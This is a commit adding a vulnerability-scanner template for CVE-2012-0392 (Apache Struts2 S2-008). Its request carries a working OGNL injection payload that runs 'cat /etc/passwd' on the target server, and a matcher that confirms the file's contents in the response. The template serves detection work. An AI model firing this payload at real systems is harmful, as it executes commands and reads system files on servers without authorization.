Create CVE-2012-0392.yaml

cves/2012/CVE-2012-0392.yaml

@@ -0,0 +1,25 @@
+id: CVE-2012-0392
+
+info:
+  name: Apache Struts2 S2-008 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://blog.csdn.net/weixin_43416469/article/details/113850545
+  tags: cve, cve2012,apache,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        condition: and
+
+      - type: status
+        status:
+          - 200